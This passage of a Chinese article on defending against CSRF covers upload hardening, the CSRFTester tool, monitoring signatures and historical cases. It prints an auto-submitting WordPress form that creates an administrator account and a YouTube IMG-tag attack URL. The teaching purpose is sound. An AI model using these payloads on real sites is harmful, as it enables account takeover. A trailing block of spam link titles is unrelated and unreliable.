
對于來自黑客自己的網(wǎng)站,我們無法防護(hù)。但對其他情況,那么如何防止自己的網(wǎng)站被利用成為攻擊的源頭呢?

  • 嚴(yán)格管理所有的上傳接口,防止任何預(yù)期之外的上傳內(nèi)容(例如HTML)。
  • 添加Header X-Content-Type-Options: nosniff 防止黑客上傳HTML內(nèi)容的資源(例如圖片)被解析為網(wǎng)頁。
  • 對于用戶上傳的圖片,進(jìn)行轉(zhuǎn)存或者校驗(yàn)。不要直接使用用戶填寫的圖片鏈接。
  • 當(dāng)前用戶打開其他用戶填寫的鏈接時(shí),需告知風(fēng)險(xiǎn)(這也是很多論壇不允許直接在內(nèi)容中發(fā)布外域鏈接的原因之一,不僅僅是為了用戶留存,也有安全考慮)。

CSRF其他防范措施

對于一線的程序員同學(xué),我們可以通過各種防護(hù)策略來防御CSRF,對于QA、SRE、安全負(fù)責(zé)人等同學(xué),我們可以做哪些事情來提升安全性呢?

CSRF測試

CSRFTester是一款CSRF漏洞的測試工具,CSRFTester工具的測試原理大概是這樣的,使用代理抓取我們在瀏覽器中訪問過的所有的連接以及所有的表單等信息,通過在CSRFTester中修改相應(yīng)的表單等信息,重新提交,相當(dāng)于一次偽造客戶端請求,如果修改后的測試請求成功被網(wǎng)站服務(wù)器接受,則說明存在CSRF漏洞,當(dāng)然此款工具也可以被用來進(jìn)行CSRF攻擊。

CSRFTester使用方法大致分下面幾個(gè)步驟:

步驟1:設(shè)置瀏覽器代理

CSRFTester默認(rèn)使用Localhost上的端口8008作為其代理,如果代理配置成功,CSRFTester將為您的瀏覽器生成的所有后續(xù)HTTP請求生成調(diào)試消息。

步驟2:使用合法賬戶訪問網(wǎng)站開始測試

我們需要找到一個(gè)我們想要為CSRF測試的特定業(yè)務(wù)Web頁面。找到此頁面后,選擇CSRFTester中的“開始錄制”按鈕并執(zhí)行業(yè)務(wù)功能;完成后,點(diǎn)擊CSRFTester中的“停止錄制”按鈕;正常情況下,該軟件會(huì)全部遍歷一遍當(dāng)前頁面的所有請求。

步驟3:通過CSRF修改并偽造請求

之后,我們會(huì)發(fā)現(xiàn)軟件上有一系列跑出來的記錄請求,這些都是我們的瀏覽器在執(zhí)行業(yè)務(wù)功能時(shí)生成的所有GET或者POST請求。通過選擇列表中的某一行,我們現(xiàn)在可以修改用于執(zhí)行業(yè)務(wù)功能的參數(shù),可以通過點(diǎn)擊對應(yīng)的請求修改query和form的參數(shù)。當(dāng)修改完所有我們希望誘導(dǎo)用戶form最終的提交值,可以選擇開始生成HTML報(bào)告。

步驟4:拿到結(jié)果如有漏洞進(jìn)行修復(fù)

首先必須選擇“報(bào)告類型”。報(bào)告類型決定了我們希望受害者瀏覽器如何提交先前記錄的請求。目前有5種可能的報(bào)告:表單、iFrame、IMG、XHR和鏈接。一旦選擇了報(bào)告類型,我們可以選擇在瀏覽器中啟動(dòng)新生成的報(bào)告,最后根據(jù)報(bào)告的情況進(jìn)行對應(yīng)的排查和修復(fù)。

CSRF監(jiān)控

對于一個(gè)比較復(fù)雜的網(wǎng)站系統(tǒng),某些項(xiàng)目、頁面、接口漏掉了CSRF防護(hù)措施是很可能的。

一旦發(fā)生了CSRF攻擊,我們?nèi)绾渭皶r(shí)的發(fā)現(xiàn)這些攻擊呢?

CSRF攻擊有著比較明顯的特征:

  • 跨域請求。
  • GET類型請求Header的MIME類型大概率為圖片,而實(shí)際返回Header的MIME類型為Text、JSON、HTML。

我們可以在網(wǎng)站的代理層監(jiān)控所有的接口請求,如果請求符合上面的特征,就可以認(rèn)為請求有CSRF攻擊嫌疑。我們可以提醒對應(yīng)的頁面和項(xiàng)目負(fù)責(zé)人,檢查或者 Review其CSRF防護(hù)策略。

個(gè)人用戶CSRF安全的建議

經(jīng)常上網(wǎng)的個(gè)人用戶,可以采用以下方法來保護(hù)自己:

  • 使用網(wǎng)頁版郵件的瀏覽郵件或者新聞也會(huì)帶來額外的風(fēng)險(xiǎn),因?yàn)椴榭脆]件或者新聞消息有可能導(dǎo)致惡意代碼的攻擊。
  • 盡量不要打開可疑的鏈接,一定要打開時(shí),使用不常用的瀏覽器。

總結(jié)

簡單總結(jié)一下上文的防護(hù)策略:

  • CSRF自動(dòng)防御策略:同源檢測(Origin 和 Referer 驗(yàn)證)。
  • CSRF主動(dòng)防御措施:Token驗(yàn)證 或者 雙重Cookie驗(yàn)證 以及配合Samesite Cookie。
  • 保證頁面的冪等性,后端接口不要在GET頁面中做用戶操作。

為了更好的防御CSRF,最佳實(shí)踐應(yīng)該是結(jié)合上面總結(jié)的防御措施方式中的優(yōu)缺點(diǎn)來綜合考慮,結(jié)合當(dāng)前Web應(yīng)用程序自身的情況做合適的選擇,才能更好的預(yù)防CSRF的發(fā)生。

歷史案例

WordPress的CSRF漏洞

2012年3月份,WordPress發(fā)現(xiàn)了一個(gè)CSRF漏洞,影響了WordPress 3.3.1版本,WordPress是眾所周知的博客平臺(tái),該漏洞可以允許攻擊者修改某個(gè)Post的標(biāo)題,添加管理權(quán)限用戶以及操作用戶賬戶,包括但不限于刪除評論、修改頭像等等。具體的列表如下:

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator's email
  • Change Wordpress Address
  • Change Site Address

那么這個(gè)漏洞實(shí)際上就是攻擊者引導(dǎo)用戶先進(jìn)入目標(biāo)的WordPress,然后點(diǎn)擊其釣魚站點(diǎn)上的某個(gè)按鈕,該按鈕實(shí)際上是表單提交按鈕,其會(huì)觸發(fā)表單的提交工作,添加某個(gè)具有管理員權(quán)限的用戶,實(shí)現(xiàn)的碼如下: 

  1. <html>  
  2. <body onload="javascript:document.forms[0].submit()">  
  3. <H2>CSRF Exploit to add Administrator</H2>  
  4. <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">  
  5. <input type="hidden" name="action" value="createuser"/>  
  6. <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>  
  7. <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/>  
  8. <input type="hidden" name="user_login" value="admin2"/>  
  9. <input type="hidden" name="email" value="admin2@admin.com"/>  
  10. <input type="hidden" name="first_name" value="admin2@admin.com"/>  
  11. <input type="hidden" name="last_name" value=""/>  
  12. <input type="hidden" name="url" value=""/>  
  13. <input type="hidden" name="pass1" value="password"/>  
  14. <input type="hidden" name="pass2" value="password"/>  
  15. <input type="hidden" name="role" value="administrator"/>  
  16. <input type="hidden" name="createuser" value="Add+New+User+"/>  
  17. </form>  
  18. </body>  
  19. </html> 

 YouTube的CSRF漏洞

2008年,有安全研究人員發(fā)現(xiàn),YouTube上幾乎所有用戶可以操作的動(dòng)作都存在CSRF漏洞。如果攻擊者已經(jīng)將視頻添加到用戶的“Favorites”,那么他就能將他自己添加到用戶的“Friend”或者“Family”列表,以用戶的身份發(fā)送任意的消息,將視頻標(biāo)記為不宜的,自動(dòng)通過用戶的聯(lián)系人來共享一個(gè)視頻。例如,要把視頻添加到用戶的“Favorites”,攻擊者只需在任何站點(diǎn)上嵌入如下所示的IMG標(biāo)簽: 

  1. <img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_ 
  2. id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/> 

攻擊者也許已經(jīng)利用了該漏洞來提高視頻的流行度。例如,將一個(gè)視頻添加到足夠多用戶的“Favorites”,YouTube就會(huì)把該視頻作為“Top Favorites”來顯示。除提高一個(gè)視頻的流行度之外,攻擊者還可以導(dǎo)致用戶在毫不知情的情況下將一個(gè)視頻標(biāo)記為“不宜的”,從而導(dǎo)致YouTube刪除該視頻。

這些攻擊還可能已被用于侵犯用戶隱私。YouTube允許用戶只讓朋友或親屬觀看某些視頻。這些攻擊會(huì)導(dǎo)致攻擊者將其添加為一個(gè)用戶的“Friend”或“Family”列表,這樣他們就能夠訪問所有原本只限于好友和親屬表中的用戶觀看的私人的視頻。

攻擊者還可以通過用戶的所有聯(lián)系人名單(“Friends”、“Family”等等)來共享一個(gè)視頻,“共享”就意味著發(fā)送一個(gè)視頻的鏈接給他們,當(dāng)然還可以選擇附加消息。這條消息中的鏈接已經(jīng)并不是真正意義上的視頻鏈接,而是一個(gè)具有攻擊性的網(wǎng)站鏈接,用戶很有可能會(huì)點(diǎn)擊這個(gè)鏈接,這便使得該種攻擊能夠進(jìn)行病毒式的傳播。

參考文獻(xiàn)

 

 

 

 

 

 

責(zé)任編輯:龐桂玉 來源: segmentfault
相關(guān)推薦

2018-10-11 15:20:02

2017-05-16 14:25:28

2021-01-16 10:39:11

欺騙攻擊網(wǎng)絡(luò)犯罪網(wǎng)絡(luò)安全

2009-01-15 09:25:00

2021-06-03 10:16:12

CSRF攻擊SpringBoot

2012-12-10 10:32:22

2023-04-02 09:40:29

2010-09-16 10:14:35

2011-07-25 13:14:49

2010-08-24 11:24:35

2010-09-25 14:34:09

2023-01-15 17:50:39

2021-05-07 14:12:50

網(wǎng)絡(luò)安全Web安全CSRF

2019-09-17 10:06:46

數(shù)據(jù)庫程序員網(wǎng)絡(luò)安全

2011-03-16 13:57:08

2012-11-30 14:35:17

2023-05-05 11:11:01

2010-04-20 23:33:06

2018-06-05 23:34:20

2009-02-11 09:27:00

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 欧美成人手机视频 | 日韩av一区二区在线观看 | 国产电影一区二区三区爱妃记 | 波多野结衣精品在线 | 国产精品69毛片高清亚洲 | 精品一区av | 一区二区在线 | 三级成人在线 | 成人在线视频看看 | 欧美视频成人 | 国产精品免费在线 | 欧美一卡二卡在线 | 一区二区国产精品 | 久久99精品久久久 | 日本一区视频在线观看 | 国产激情免费视频 | 综合久久网| 日韩在线精品视频 | 精品一二三 | 高清亚洲 | 精品国产一区二区国模嫣然 | 一区精品视频 | 国产精品国产精品国产专区不片 | 亚洲精品日本 | 午夜av电影| 色综合久久88色综合天天 | 81精品国产乱码久久久久久 | 欧美色专区 | 久久精品成人热国产成 | 日韩无 | 国产精品性做久久久久久 | 亚洲欧美成人在线 | 日韩一区二区成人 | 黄网站涩免费蜜桃网站 | 欧美精品久久久久 | 国产激情91久久精品导航 | 有码在线| 午夜资源| 欧美日韩一二三区 | 羞羞网站免费观看 | 国产一区二区影院 |